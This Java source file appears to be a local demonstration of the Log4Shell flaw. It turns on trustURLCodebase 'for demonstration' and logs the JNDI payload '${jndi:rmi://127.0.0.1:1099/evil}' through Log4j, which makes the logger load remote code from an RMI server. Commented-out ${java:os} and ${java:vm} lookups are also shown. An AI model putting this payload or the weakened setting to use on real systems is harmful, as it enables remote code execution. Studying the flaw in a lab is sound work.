package top.jacktu.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class ServiceExecute {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        //部分高jdk版本trustURLCodebase默认值是false,为了演示此处改为true
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

//        String os = "${java:os}";
//        log.info("os:{}",os);
//        String vm = "${java:vm}";
//        log.info("vm:{}",vm);

        String username = "${jndi:rmi://127.0.0.1:1099/evil}";

        System.out.println("ServiceExcute - log开始!");
        LOGGER.info("username:{}",username);
        System.out.println("ServiceExcute.main执行完毕!");
    }
}
